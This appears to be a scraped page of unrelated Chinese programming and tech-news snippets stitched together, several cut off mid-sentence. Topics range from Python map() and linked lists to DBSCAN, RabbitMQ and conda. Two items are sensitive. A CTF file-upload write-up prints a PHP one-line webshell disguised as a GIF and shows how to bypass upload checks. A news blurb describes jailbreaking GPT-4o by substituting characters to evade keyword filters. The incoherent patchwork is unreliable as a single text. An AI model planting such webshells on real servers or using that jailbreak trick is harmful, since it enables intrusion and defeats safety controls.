目录
Map
语法
返回值
示例
解析:
总结
希望这篇文章能够帮助你更好地理解 map() 函数的用法和作用。
Map map() 函数是 Python 中的一个内置函数,它接受一个函数和一个可迭代对象作为参数,将函数应用于可迭代对象的每个元素,并返回一个包含结果的迭代器。
语法 map(function, iterable) function: 要应用于可迭代对象的函数。iterable: 可迭代对象,如列表、元组等。 返回值 它返回一个迭代器,其中包含了将函数应用于可迭代对象的每个元素后的结果。
示例 # 将列表中的每个元素平方 numbers = [1, 2, 3, 4, 5] squared = map(lambda x: x**2, numbers) print(squared) # 转换为列表输出结果 print(list(squared)) 解析: 我先构造了一个numbers列表,然后再写一个起计算输入参数平方作用的匿名函数lambda x: x**2,接着使用map函数将这个匿名函数应用在列表numbers中的每个元素,将每个元素平方后存储在迭代器squared中,最后我使用list()函数将这个迭代器转换成列表并进行输出。
可以看到输出结果:第一行是一个map object对象,即一个迭代器对象。
然后我们转化为列表后,输出,发现确实是将我们定义的numbers列表里的每一个数字逐一进行了平方处理,到这里我们就能很清楚的看到Map函数的基本使用了。
总结 map() 函数是 Python 中一个非常实用的高阶函数,能够简化对可迭代对象的操作过程,提高代码的可读性。
map() 函数返回的是一个迭代器,因此需要使用 list()、tuple() 等函数将其转换为列表、元组等数据结构进行查看或操作。可以传递多个可迭代对象作为参数,map() 函数会依次对应地将每个可迭代对象的元素传递给函数。 希望这篇文章能够帮助你更好地理解 map() 函数的用法和作用。
链表经典OJ题 移除链表元素链表的中间节点反转链表合并两个有序链表分割链表 移除链表元素 给你一个链表的头节点 head 和一个整数 val ,请你删除链表中所有满足 Node.val == val 的节点,并返回 新的头节点 。
示例 1:
输入:head = [1,2,6,3,4,5,6], val = 6 输出:[1,2,3,4,5]
示例 2:
输入:head = [], val = 1 输出:[]
示例 3:
输入:head = [7,7,7,7], val = 7 输出:[]
提示:
列表中的节点数目在范围 [0, 104] 内 1 <= Node.val <= 50 0 <= val <= 50 题目链接:link
本题不同于基本操作中的头删尾删等,因为头结点也有可能是要删掉的,那这个时候就比较麻烦了,所以我们最好是重新定义一个链表,遍历原链表不为val的节点,尾插在新链表中。
/** * Definition for singly-linked list. * struct ListNode { * int val; * struct ListNode *next; * }; */ struct ListNode* create(int x) { struct ListNode* new=(struct ListNode*)malloc(sizeof(struct ListNode)); new->val=x; new->next=NULL; return new; } void PushBack(struct ListNode** pp,int x,struct ListNode** ppt) { struct ListNode* new=create(x); if(*pp==NULL) { *pp=new; *ppt=new; return; } (*ppt)->next=new; (*ppt)=(*ppt)->next; } struct ListNode* removeElements(struct ListNode* head, int val) { struct ListNode* newhead=NULL; struct ListNode* tail=NULL; struct ListNode* cur=head; while(cur!
导语:在第20届中国国际动漫节上,玄机科技携多部热门IP闪耀登场,其展台设计同时兼具国风文化和未来科技,不仅弘扬中国文化,更借助高科技活化传统故事,展示新时代下科技与文化融合的新形式。紧随其后,在5月30日召开的百度移动生态万象大会上,百度文库与玄机科技宣布将共同打造全球领先的智能漫画解决方案,开展跨模态技术、内容及 IP 共创等多领域探索,为行业注⼊新鲜活力与无限可能。
在 5.29-6.2 为期五天的中国国际动漫节上,玄机科技携《秦时明月》《天行九歌》《武庚纪》《斗罗大陆》《斗罗大陆Ⅱ绝世唐门》《吞噬星空》《天宝伏妖录》《师兄啊师兄》《鬼刀》等 IP 参展,为全球动漫爱好者呈现了一场视觉与文化的盛宴。这场盛会不仅是对玄机科技 IP 运营能力的一次全方位展示,更是其科技创新实力的直观体现。
玄机科技的展台,仿佛一个时空穿梭的门户,开放式的设计象征着玄机科技以包容的心态接受着新兴事物的出现,环绕展馆的屏幕滚动播放着玄机科技旗下IP经典台词,将深厚的文化底蕴与先进的科技完美融合。玄机科技的展台设计不仅仅是对中国文化博大精深的展示,更是通过高科技手段,为传统故事注入了新的生命与活力。它不仅仅是一个展示玄机旗下产品的空间,更是一个充满创新和活力的文化交流平台。玄机科技正用实际行动诠释着如何在坚守文化根源的同时,积极拥抱并引领时代潮流。
正当中国国际动漫节的热度持续升温时,另一场关于未来与创新的盛会也在苏州拉开序幕。5 月 30 日,2024 百度移动生态万象大会上,百度文库与玄机科技宣布将共同打造全球领先的智能漫画解决方案,开展跨模态技术、内容及 IP 共创等多领域探索。这一消息的发布,无疑为整个动漫产业注入了新的活力。
百度文库作为百度旗下的重要业务之一,一直致力于为用户提供优质、丰富的内容资源。而玄机科技作为国漫行业的领军者,其在动漫创作和 IP 运营方面的实力有目共睹。此次双方的合作,无疑是一次强强联合。通过共同打造智能漫画解决方案,双方将利用各自的技术和资源优势,推动动漫产业的创新和发展,争取让每个人都能成为漫画家。
据悉,该智能漫画解决方案将涵盖多个方面。首先,在跨模态技术方面,双方将共同探索如何将 AI 技术应用于动漫创作和呈现中,以实现更加智能化、个性化的创作和观看体验。这将为动漫创作者提供更多的创作灵感和工具支持,同时也将让观众享受到更加丰富多彩的动漫内容。
其次,在内容及 IP 共创方面,双方将携手打造更多基于 AI 技术的新国漫 IP。通过利用 AI 技术的分析和预测能力,双方将共同挖掘出更多具有潜力的动漫题材和角色形象,并通过深度合作将其打造成备受瞩目的新国漫 IP。这将为整个动漫产业注入新的创意和活力,推动产业的持续发展和繁荣。
值得一提的是,玄机科技对于 AI 技术的拥抱态度和技术创新的重视也是此次合作得以成功的重要因素之一。一直以来,玄机科技都积极探索和尝试新的技术应用和创作方式,不断推动动漫产业的创新和发展。而与百度文库的合作,更是让玄机科技在 AI 技术方面得到了更多的支持和帮助。通过共同打造智能漫画解决方案和开展跨模态技术、内容及 IP 共创等多领域探索,双方将共同推动动漫产业的智能化、个性化和创新化发展。
回顾中国国际动漫节和 2024 百度移动生态万象大会上的精彩瞬间,我们不禁为玄机科技的实力和成就感到自豪。作为一家拥有强大 IP 运营能力和科技能力的动漫企业,玄机科技不仅在动漫创作和呈现方面取得了显著的成绩,更在 AI 技术应用和创新方面走在了行业前列。相信在未来的日子里,玄机科技将继续秉持创新、开放、合作的理念,与更多优秀的合作伙伴携手共进,共同推动动漫产业的繁荣和发展。
博主介绍:✌全网粉丝30W+,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和学生毕业项目实战,高校老师/讲师/同行前辈交流✌
主要内容:SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app、大数据、物联网、机器学习等设计与开发。
🍅文末获取源码联系🍅
👇🏻 精彩专栏推荐订阅👇🏻 不然下次找不到哟
2022-2024年最全的计算机软件毕业设计选题大全:1000个热门选题推荐✅
Java项目精品实战案例《100套》
Java微信小程序项目实战《100套》
Python项目实战《100套》
感兴趣的可以先收藏起来,还有大家在毕设选题,项目以及论文编写等相关问题都可以给我留言咨询,希望帮助更多的人
系统介绍: 随着科学技术的飞速发展,社会的方方面面、各行各业都在努力与现代的先进技术接轨,通过科技手段来提高自身的优势,医院疫情防控管理系统当然也不能排除在外。医院疫情防控管理系统是以实际运用为开发背景,运用软件工程开发方法,采用Java技术构建的一个管理系统。整个开发过程首先对软件系统进行需求分析,得出系统的主要功能。接着对系统进行总体设计和详细设计。总体设计主要包括系统总体结构设计、系统数据结构设计、系统功能设计和系统安全设计等;详细设计主要包括模块实现的关键代码,系统数据库访问和主要功能模块的具体实现等。最后对系统进行功能测试,并对测试结果进行分析总结,及时改进系统中存在的不足,为以后的系统维护提供了方便,也为今后开发类似系统提供了借鉴和帮助。
本医院疫情防控管理系统采用的数据库是Mysql,使用SSM框架开发。在设计过程中,充分保证了系统代码的良好可读性、实用性、易扩展性、通用性、便于后期维护、操作方便以及页面简洁等特点。
系统结构图,如图4-3所示。
程序上交给用户进行使用时,需要提供程序的操作流程图,这样便于用户容易理解程序的具体工作步骤,现如今程序的操作流程都有一个大致的标准,即先通过登录页面提交登录数据,通过程序验证正确之后,用户才能在程序功能操作区页面操作对应的功能。
程序操作流程图
功能截图: 代码实现: /** * 登录相关 */ @RequestMapping("users") @RestController public class UserController{ @Autowired private UserService userService; @Autowired private TokenService tokenService; /** * 登录 */ @IgnoreAuth @PostMapping(value = "/login") public R login(String username, String password, String role, HttpServletRequest request) { UserEntity user = userService.selectOne(new EntityWrapper<UserEntity>().eq("username", username)); if(user != null){ if(!user.getRole().equals(role)){ return R.error("权限不正常"); } if(user==null || !
🔍斯坦福团队被曝抄袭清华系大模型,现已删库跑路!
- 斯坦福AI团队Llama3-V抄袭中国国产的大模型成果——MiniCPM-Llama3-V 2.5。
- 模型结构、代码、配置文件一模一样,只是变了变量名。
- Llama3-V,于5月29日发布,宣称只需要500美元就能训出一个SOTA多模态大模型。
- 目前,GitHub还是HuggingFace,统统都是404
🔗 斯坦福团队被曝抄袭清华系大模型,已删库跑路,创始人回应:也算国际认可-CSDN博客
🛠️ChatGPT4o被越狱拿来搞大尺度!
-黑客利用OpenAI“漏洞”,让最新版ChatGPT4o突破安全防护,执行不被允许执行的指令。
- 借鉴中文躲避审查的思路,把一些字符进行替换从而躲避关键词审查。
- 目前,绕过限制的方式已经被OpenAI给堵住。
🔗ChatGPT4o被越狱了,有人拿来搞大尺度!-CSDN博客
📊Video-MME: 首个多模态大模型视频分析综合评估基准
- 该基准由来自多个大学和研究机构的研究人员共同开发,旨在通过多样化和高质量的数据集,全面考察MLLMs在处理视频数据时的能力。
- 视频数据集涵盖6个主要视觉领域,包括知识、电影与电视、体育竞技、艺术表演、生活记录和多语言。
- 每个领域进一步细分为30个子类别,如天文学、科技、纪录片、新闻报道、电竞、魔术表演和时尚等,确保广泛的场景适用性。
🔗项目地址:https://video-mme.github.io/home_page.html
📂Meta更新隐私政策:强制规定用户在Facebook 和 Instagram上发布的内容被用于训练AI
- 根据新版隐私权政策,用户将同意将自己发布的任何内容用于 AI at Meta 模型训练。
- 如果用户选择不同意该隐私权政策则应该主动停止使用 Facebook 和Instagram等产品,否则均为接受新政策。
- 新的隐私权政策将在 2024 年 6 月 26 日生效。
🔗https://msn.com/en-us/news/technology/meta-is-using-your-posts-to-train-ai-its-not-easy-to-opt-out/ar-BB1njRpA
🤖NVIDIA发布数字人 AI 技术:NVIDIA ACE
- 可以让游戏NPC具有AI对话功能,同时能直接生成数字人的语音和面部动画!
- Avatar Cloud Engine (ACE)是一项用于提升游戏和虚拟角色互动体验的技术。
1.赋予游戏角色智能:ACE可以让游戏中的非玩家角色(NPC)具有真实的对话能力。这意味着玩家可以与这些角色进行自然、智能的对话,而不是仅仅触发预设的台词 。
2.语音和面部动画:通过先进的AI技术,ACE可以让游戏角色不仅能“听”懂玩家说的话,还能通过语音合成和面部动画来进行回复。这使得角色的反应更加生动和真实 。
3.灵活部署:开发者可以根据需要将ACE部署在云端或本地设备上,保证在不同环境下都能提供高质量的互动体验 。
4.高效低延迟:ACE优化了神经网络的性能,确保在游戏中的互动能够实时进行,避免延迟问题 🔗 https://blink.
1. 冒泡排序 排序的过程分为多趟,在每一趟中,从前向后遍历数组的无序部分,通过交换相邻两数位置的方式,将无序元素中最大的元素移动到无序部分的末尾(第一趟中,将最大的元素移动到数组倒数第一的位置;第二趟中,将第二大的元素移动到数组倒数第二的位置,以此类推)。
每排一趟,数组末尾的有序序列就向前增长一个元素,数组前端的无序部分就减少一个元素。
优化:某趟中,一次交换也没有发生,说明数组已有序,直接结束排序。
整个排序的过程中,剩余无序元素中最大的元素就像气泡一样不断“上浮”到数组末尾,所以该算法被称作冒泡排序。
冒泡排序的思想很简单,类似于递归:
要实现整个数组(n个元素)的有序,可以将数组分为前(n-1)个元素和最后一个元素。
首先确保最后一个元素有序(最大),然后再用相同的方式解决前(n-1)个元素组成的数组的有序性问题。
当然,你也可以当我上面这段话是放屁,因为冒泡排序的算法太过简单,按上面的方式来理解确实小题大做。 但伴随着简单算法的往往是极高的开销,这也使得冒泡排序没有任何的实际意义,仅作教学作用。
可以说冒泡排序是最拉的排序算法,接下来讲到的所有排序算法,效率都至少为其的十倍以上(实测结果非理论分析,理论分析出的时间复杂度几乎相同)
时间复杂度:最坏情况(元素逆序),最好情况(已有序)
空间复杂度:
//冒泡排序 void BubbleSort(int* arr, int len) { for (int i = 0; i < len; i++) { int flag = 1; for (int j = 0; j < len - 1 - i; j++) { if (arr[j] > arr[j + 1]) { flag = 0; swap(&arr[j], &arr[j + 1]); } } if (flag) return; } } 2.
数据结构第三篇【链表的相关知识点一及在线OJ习题】 链表链表的实现链表OJ习题顺序表和链表的区别和联系 本文章主要讲解关于链表的相关知识,喜欢的可以三连喔
😀😃😄😄😊😊🙃🙃
😀😃😄😄😊😊🙃🙃
链表 链表是一种物理存储结构上非连续存储结构,数据元素的逻辑顺序是通过链表中的引用链接次序实现的 。
实际中链表的结构非常多样,以下情况组合起来就有8种链表结构:
单向 双向
带头 不带头
循环 非循环
单链表,双向链表,循环链表如下图所示
带头,不带头,如下图所示
虽然有这么多的链表的结构,但是我们重点掌握两种:
无头单向非循环链表:结构简单,一般不会单独用来存数据。实际中更多是作为其他数据结构的子结构,如哈希桶、图的邻接表等等。另外这种结构在笔试面试中出现很多。 无头双向链表:在Java的集合框架库中LinkedList底层实现就是无头双向循环链表. 链表的实现 // 1、无头单向非循环链表实现 public class SingleLinkedList { //头插法 public void addFirst(int data); //尾插法 public void addLast(int data); //任意位置插入,第一个数据节点为0号下标 public boolean addIndex(int index,int data); //查找是否包含关键字key是否在单链表当中 public boolean contains(int key); //删除第一次出现关键字为key的节点 public void remove(int key); //删除所有值为key的节点 public void removeAllKey(int key); //得到单链表的长度 public int size(); public void display(); public void clear(); } // 2、无头双向链表实现 public class DoubleLinkedList { //头插法 public void addFirst(int data); //尾插法 public void addLast(int data); //任意位置插入,第一个数据节点为0号下标 public boolean addIndex(int index,int data); //查找是否包含关键字key是否在单链表当中 public boolean contains(int key); //删除第一次出现关键字为key的节点 public void remove(int key); //删除所有值为key的节点 public void removeAllKey(int key); //得到单链表的长度 public int size(); public void display(); public void clear(); } 链表OJ习题 大家可以做做习题,感悟链表的精彩
C++20的新特性之一Concepts,为C++的模板编程带来了重大的改进和便利。以下是关于C++20中Concepts特性的详细介绍: 基本概念
定义:Concepts是C++20中引入的一种新的语言特性,用于限制类和函数模板的模板类型和非类型参数。它允许你为模板编写要求,而编译器会检查这些要求是否满足。
目的:使模板相关的编译器错误更易于人类阅读,提高代码的可读性和可维护性。特性与优势
明确的编译器错误信息:通过使用Concepts,当模板实例化时,如果类型不满足要求,编译器会输出更明确的错误信息,帮助开发者更快地定位问题。
提高代码的可读性:通过为模板参数定义明确的要求,Concepts使代码更具可读性,让其他开发者更容易理解你的代码意图。
简化模板元编程:Concepts的引入旨在简化模板元编程,减少因模板参数不匹配而导致的复杂和难以理解的错误。语法与示例
定义Concept: template<typename T> concept ArithmeticType = requires(T a, T b) { {a + b} -> std::same_as<T>; // 确保类型T支持加法操作,并且结果仍为T类型 // 可以添加更多要求... }; 使用Concept:
复制代码 template<ArithmeticType T> // 使用上面定义的ArithmeticType Concept T add(T a, T b) { return a + b; } 在这个例子中,add函数模板要求其参数类型T必须满足ArithmeticType Concept,即必须支持加法操作,并且结果仍为T类型。
4. 注意事项
在编写Concepts时,要确保它们模拟语义要求,而不仅仅是语法要求。例如,一个名为sortable的Concept应该检查类型是否支持排序操作,而不仅仅是检查是否存在某个成员函数或操作符。
使用requires关键字可以在模板参数上设置约束条件,以确保模板只在满足特定条件的类型上实例化。
5. 总结
C++20的Concepts特性为模板编程带来了革命性的改进。通过明确的编译器错误信息、提高代码的可读性和简化模板元编程,Concepts使C++的模板编程更加健壮、易于理解和维护。
自2023年以来,AI绘图已经从兴趣娱乐逐渐步入实际应用,在众多的模型中,作为闪耀的一颗明星,Stable diffusion已经成为当前最多人使用且效果最好的开源AI绘图软件之一。Stable Diffusion Web UI 是由AUTOMATIC1111 开发的基于 Stable Diffusion AI 模型的 AI 图片处理工具,支持文生图、图生图。 该Web UI提供了一个图形化的操作界面,用户无需编写任何代码即可使用Stable Diffusion的所有功能。而且用户可以将自己的Stable Diffusion模型部署在个人电脑、工作站或服务器上,无需复杂的配置。
然而尽管可以用纯CPU或低端GPU跑Stable Diffusion WebUI,但是速度非常慢,30秒就能算好的图,配置不够的话往往要算10分钟以上。今天给电脑配置不够和不想安装sd占用太多资源的同学带来一篇解决方案:通过Amazon EC2 快速部署 Stable Diffusion WebUI + chilloutmax 模型。
一、创建 Amazon EC2 实例 Amazon EC2 是亚马逊云科技提供的亚马逊弹性计算云服务器,其提供最广泛、最深入的计算平台,拥有最新的处理器、存储、网络、操作系统和购买模型,以帮助最好地满足工作负载的需求。其具有以下主要特点:
弹性:EC2允许用户根据业务需求快速、灵活地调整计算资源。用户可以根据需要增加或减少服务器的数量,实现无缝的扩展或缩减。
多样化选择:亚马逊云科技提供了多种类型的EC2实例,包括通用型、计算优化型、内存优化型和存储优化型等,以满足不同的计算、内存、存储和网络需求。
安全性:EC2提供了多层次的安全措施,包括网络隔离、数据加密、身份认证等,保护用户的数据和应用程序免受恶意攻击和数据泄露的风险。
可靠性:EC2利用亚马逊全球的数据中心网络,提供高可用性和故障转移能力。
易用性:EC2与亚马逊云科技其他服务深度集成,支持简单的Web界面管理和API调用,方便用户操作和管理。
首先进入亚马逊云科技海外区官网页面:亚马逊云科技,开始创建 Amazon EC2 实例。亚马逊云科技目前提供了Amazon EC2每月750小时试用套餐,该套餐包括了Linux、RHEL、SLES, t2.micro 或 t3.micro实例、 Windows t2.micro 或 t3.micro 以及公网 IPv4 地址使用时间。
进入控制台页面后,搜索Amazon EC2:
点击EC2 Dashboard开始启动实例:
推荐使用 G4dn 机型(NVIDIA T4 GPU,16 GiB 显存)或者 G5 机型(NVIDIA A10G GPU,24 GiB 显存),地区最好选择美国地区,下载安装模型速度快,镜像选择Ubuntu的镜像,并且附带GPU 驱动,例如:Deep Learning OSS Nvidia Driver AMI GPU PyTorch 2.
文件上传 文章目录 文件上传What is Upload-File?Upload-File In CTFWeb151考点:前端校验解题: Web152考点:后端校验要严密解题: Web153考点:后端校验 配置文件介绍解题: Web154考点:后端内容校验 大小写绕过解题: Web155考点:后端内容校验 短标签绕过解题: Web156考点:后端内容校验 中括号 符号绕过解题: Web157、158考点:后端内容校验 大括号 符号绕过解题: Web159考点:后端内容校验 小括号 符号绕过解题: Web160考点:后端内容校验 强限制 日志文件包含利用解题: Web161考点:文件头检测解题: Web162Web164考点:PNG图片二次渲染 Web165考点:JPG图片二次渲染 web166考点:zip文件包含 Web167考点:.htaccess解析 web168考点:基础免杀 Web169、170考点:高级免杀 包含日志 What is Upload-File? 顾名思义就是给网上传文件,比如qq空间
上传文件时服务器后端语言没有对上传的文件进行严格的验证和过滤,容易造成上传任意文件的情况,从而使得攻击者绕过上传机制上传恶意代码并执行控制服务器
恶意代码文件就是php asp aspx jsp等,也被称为webshell
Upload-File In CTF Web151 考点:前端校验 解题: 进来之后很明显一个上传点 并且给出提示
直接上传php后缀文件被禁止 同时任意长传一个其他的后缀 随意输入也被禁止
故为白名单检测 只能上传png后缀格式
于是构造一句话木马放到图片中上传
GIF89a<?php eval($_POST['a']);?> 抓包,想要把php的内容解析 需要把后缀修改
在抓包的这一块已经绕过了前端验证
修改 发送 上传成功
得到图片的路径/upload/upload.php
一定注意是php后缀 因为修改过 上传的就是php后缀的文件
公众号:尤而小屋
编辑:Peter
作者:Peter
大家好,我是Peter~
今天给大家介绍基于密度的聚类算法DBSCAN,包含:
DBSCAN算法定义sklearn.cluster.DBSCAN参数详解DBSCAN聚类实战DBSCAN聚类效果评估DBSCAN聚类可视化DBSCAN算法优缺点总结 https://scikit-learn.org/stable/auto_examples/cluster/plot_cluster_comparison.html#sphx-glr-auto-examples-cluster-plot-cluster-comparison-py
1 DBSCAN定义 DBSCAN(Density-Based Spatial Clustering of Applications with Noise,基于密度的带有噪声的空间聚类应用)是一种基于密度的聚类算法。
密度聚类算法一般假定类别是可以通过样本分布的紧密程度来决定。同一个类别中,样本之间是紧密相连的,也就说通过将紧密相连的样本划分为一类,这样就生成了一个聚类类别。
关于DBSCAN到底是如何实现聚类的?
一个关键点:DBSCAN是基于一组邻域来描述样本集的紧密程度,参数 ( ϵ , M i n P t s ) (\epsilon,MinPts) (ϵ,MinPts)用来描述邻域的样本紧密程度。其中 ϵ \epsilon ϵ描述邻域半径,表示两个样本被视为相邻的最大距离;MinPts表示某一样本的距离为 ϵ \epsilon ϵ的邻域中样本个数的阈值。
DBSCAN的全称是Density-Based Spatial Clustering of Applications with Noise,中文意为“基于密度的带有噪声的空间聚类应用”。它能够通过样本点的密集区域识别出各个聚类簇,并且对噪声点具有很强的鲁棒性。以下是关于DBSCAN的相关介绍:
核心思想:DBSCAN的核心在于基于样本点的密度进行聚类,即通过找出样本空间中密集的区域来进行簇的划分。算法参数:DBSCAN需要两个主要参数:邻域半径和最少点数目。只有当某点在其邻域内的点数大于或等于最少点数目时,该点才被视为核心点。点类别:DBSCAN中的点分为三类:核心点、边界点和噪声点。核心点是指那些在邻域内具有足够多的点的对象,边界点则是那些邻近核心点但自身不是核心点的点,而噪声点则既不是核心点也不是边界点点关系:DBSCAN中的点关系包括密度直达、密度可达和密度相连。这些关系定义了如何从一个核心点扩展至整个簇。 更多详细的定义请见:参考资料2
2 sklearn用法 2.1 参数 sklearn.cluster.DBSCAN的完整参数解释-参考资料1:
sklearn.cluster.DBSCAN( eps=0.5, # 邻域半径;它表示两个样本被视为相邻的最大距离。较大的值会导致更多的簇,较小的值会导致更少的簇 *, min_samples=5, # 形成簇所需的最小样本数 # euclidean-欧式距离;manhattan-曼哈顿距离;chebyshev-切比雪夫距离;minkowski-闵可夫斯基距离; # wminkowski-带权重闵可夫斯基距离;seuclidean-标准化欧式距离;mahalanobis-马氏距离 metric='euclidean', # 计算样本之间距离的度量方法; metric_params=None, # 度量方法的其他参数 algorithm='auto', # 用于计算最近邻的算法,默认'auto', ['auto'、'ball_tree'、'kd_tree'和'brute'] leaf_size=30, # 构建最近邻树时的叶子大小 p=None, # Minkowski距离的幂指数,默认值为None。当度量方法为'minkowski'时,该参数有效 n_jobs=None, # 并行计算的线程数,默认为None;若为-1,则使用所有可用的处理器 ) 其中最主要的参数eps(对应 ϵ \epsilon ϵ)和Min_samples(对应 M i n P t s MinPts MinPts)
文章目录 写在前面开源仓库和项目上线其他文档说明 需求分析BrokerServer交换机类型持久化消息应答 模块划分服务端模块客户端模块交换机数据管理模块队列数据管理模块绑定数据管理模块消息数据管理模块队列信息管理模块虚拟机数据管理模块路由匹配模块消费者管理模块信道管理模块 逻辑示意图工具类编写sqlite3字符串分割生成随机数文件常用操作 消息和交换机类型定义交换机数据管理队列数据管理绑定信息管理消息管理消息信息管理消息的持久化管理消息内存数据管理消息对外接口类 虚拟机信息管理交换机路由管理模块消费者和订阅者模块消费者信息结构消费者管理消费者统一管理结构 信道管理模块服务器模块客户端模块订阅者模块信道管理模块异步工作线程池连接管理模块 结束 写在前面 开源仓库和项目上线 本项目已开源到下面链接下的仓库当中
仿RabbitMQ实现消息队列
其他文档说明 针对于日志的信息,我采用了之前写的一份利用可变参数实现日志的代码,具体链接如下
C++:可变参数实现日志系统
项目:消息队列的前置知识
需求分析 对于这个项目来说,首先需要明确几个概念,项目中要包含生产者,消费者,中间人,发布,订阅
先说生产者和消费者的模型,这个并不陌生,在操作系统中有过对于这些内容的讲解:
如上所示是一个基本的生产消费者模型的理论,那么在这个理论中比较重要的就是中间的这个Broker Server,这个部分的核心功能就是进行消息的存储和转发
在中间件服务器Broker当中,存在下面的概念
虚拟机:类似于是一个MySQL当中的database的概念,是一个逻辑上的集合,一个BrokerServer当中会存在多个VirtualHost
交换机:这是生产者把消息先发送到Broker当中的Exchange上,再依据不同的规则,把消息转发给不同的Queue
队列:真正用来存储消息的部分,每个消费者自己进行决定从哪个Queue上进行消息的读取
绑定:这是一个Exchange和Queue之间的关联关系,Exchange和Queue可以理解为是多对多的概念,而用一个关联表就可以把信息存储起来
所以要实现的内容,其实就有下面的内容:
Broker服务器,也就是所谓的消息队列服务器消息发布客户端:生产者,把消息放到服务器上消息订阅客户端:消费者,从服务器上订阅消息 在AMQP协议中细化了对应的规则,以虚拟机为单元,来进行交换机,队列,绑定的整体操作,下面基于这些理论进行一些核心的API功能和操作
BrokerServer 对于Broker来说,主要有下面的这些功能操作
创建交换机销毁交换机创建队列销毁队列创建绑定解除绑定发布消息订阅消息确认消息取消订阅 交换机类型 对于RabbitMQ来说,主要支持下面的四种交换机类型
DirectFanoutTopicHeader 下面针对于前三种比较常见的交换机进行一个简单的概述:
Direct:生产者发送消息时,直接指定被该交换机绑定的队列名,这样就可以直接进行交换了
Fanout:生产者发送的消息会被复制到该交换机的所有队列中,就有点类似于是一个广播的效果
Topic:绑定队列到交换机上,指定一个字符串为bindingKey,发送消息指定一个字符串是routingKey,这样只有这两个Key满足一定条件的时候再进行对应的消息的投递
持久化 项目一定是需要有持久化的需求的
消息应答 对于被消费的消息,是要进行一些应答的,具体的策略有两种:
自动应答:消费者只要消费了消息,就算应答完成了,Broker直接删除这个消息手动应答:消费者手动调用应答接口,Broker收到应答请求之后再进行删除这个消息 对于手动应答来说,比较好的一个特点是,保证了消息确实被消费者处理成功了,在一些对于数据可靠性要求比较高的场景下,是一个比较常见的特点
模块划分 对于这个项目来说,主要有下面的三个模块
服务端发布客户端订阅客户端 服务端模块 数据管理模块:对于交换机,队列,绑定,消息数据的管理虚拟机数据管理模块:虚拟机本质上是把上面的这些数据进行一个封装和合并后的管理,虚拟机本质上就可以看成是交换机,队列,绑定,消息的整体逻辑单元,对于虚拟机的数据管理本质上就是把上述的这些模块进行了一个合并管理交换路由模块:消息的发布,就是把消息发布到交换机上,然后交换机把消息再放到队列中,那么如何进行设置对应的方式?其实就需要用到交换机类型,比如有直接,广播或者主题交换等,而交换路由模块就是专门进行匹配的过程的消费者管理模块:消费者说的是订阅了一个队列消息的客户端,一旦这个队列中有了消息,就会推送给客户端,客户端是一个被动获取的效果,在核心API中,存在有订阅消息的功能,这个订阅其实是订阅的某个队列当中的全部内容,而不是订阅某个特定的消息,只要队列中有消息就绪了,就会把消息给客户端信道管理模块:一个连接可能会有对应的多个通信通道,那么一旦有客户端要关闭通信,就要把自己的通信通道管理,因此就要把连接的通信通道进行管理连接管理模块:就是对于一个网络通信对应的连接 客户端模块 消费者管理模块:一个订阅客户端,而当订阅一个队列消息的时候,本质上就相当于创建了一个消费者信道管理模块:客户端的信道和服务端的信道是一一对应的,服务端信道提供的服务,客户端都有,也就是说,相当于服务端给客户端提供服务,客户端给用户提供服务连接管理模块:对于用户来说,所有的服务都是通过信道来完成的,信道在用户的角度就是一个通信通道,所有的请求都是借助信道来完成的基于上述的这三个模块,就可以实现一个订阅客户端和发布客户端这两个内容,其中订阅客户端就是要订阅一个队列的消息,收到推送过来的消息进行处理,而发布客户端就是向一个交换机来发布消息 交换机数据管理模块 要管理的数据:描述了一个交换机中应该有什么数据,而在这内部当中还会存在有交换机的名称,交换机的类型,是否持久化,是否要自动删除对交换机的管理操作:声明(创建)交换机,删除交换机,获取指定名称的交换机,获取当前交换机的数量等等 队列数据管理模块 要管理的数据:在这当中描述的是队列的名称,持久化存储标志,是否独占标志,自动删除表示等提供对应的操作:创建队列,删除队列,获取队列信息,获取队列数量,获取所有队列名称等 绑定数据管理模块 这个模块主要是进行描述的是,哪个队列和哪个交换机绑定在了一起
要管理的数据:对于这个模块来说,要管理的数据主要有交换机的名称,队列名称,以及binding_key,这个主要是绑定密钥,用来进行描述交换机和队列的一种匹配规则提供对应的操作:添加绑定,解除绑定,获取交换机相关的所有绑定信息,获取队列相关的所有绑定信息,获取绑定信息数量 消息数据管理模块 要管理的数据 对于这个模块来说,先看一下消息数据说的是什么:
消息信息中主要包含内容+属性:
对于属性来说包含的有,消息的ID,以及持久化表示,routing_key,这个key表示的是当前消息要发布的队列信息
管理的方式 对于管理方式当中,必定是要以队列为单元进行管理的,因为消息的所有操作都是在队列当中进行实现的,消息是要存储在队列当中的
对于管理数据来说,首先会存在一个消息链表,这当中存放的是保存所有待推送的消息,以及待确认消息hash,模仿TCP的方式,保证消息可靠传输,持久化消息hash,以及持久化的有效消息数量,持久化的总的消息数量等
提供对应的操作 对于消息管理的操作来说,要提供的方法有,向队列新增消息,获取队首消息,对消息的确认,恢复队列历史消息,垃圾回收,删除队列相关消息文件等
1. conda 环境 安装miniconda即可,Miniconda 安装包可以到 http://mirrors.aliyun.com/anaconda/miniconda/ 下载。
安装完后,可进入开始菜单栏中点击Anaconda Promot,通过conda命令进行使用。
.condarc是conda 应用程序的配置文件,在用户家目录(windows:C:\users\username\),用于管理镜像源。如果不存在,则打开conda的,执行一下:
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ 2. conda包管理目录 anaconda安装的位置/pkgs该目录是用户指定update或install时由 Conda 下载并提取的包,都是解压后的包,可以在 conda 环境中通过link关联。
anaconda安装的位置\envs\虚拟环境\Lib\site-packages 则是启用虚拟环境后import时导入包的地方。它们来自anaconda安装的位置/pkgs。
anaconda安装的位置/Lib/site-packages 是base环境的路径。
3. 配置镜像源 3.1 通过命令配置和删除 # 查看当前conda配置 conda config --show channels # 增加channel conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud//pytorch/ conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/ #设置搜索是显示通道地址 conda config --set show_channel_urls yes conda config --add channels https://mirrors.
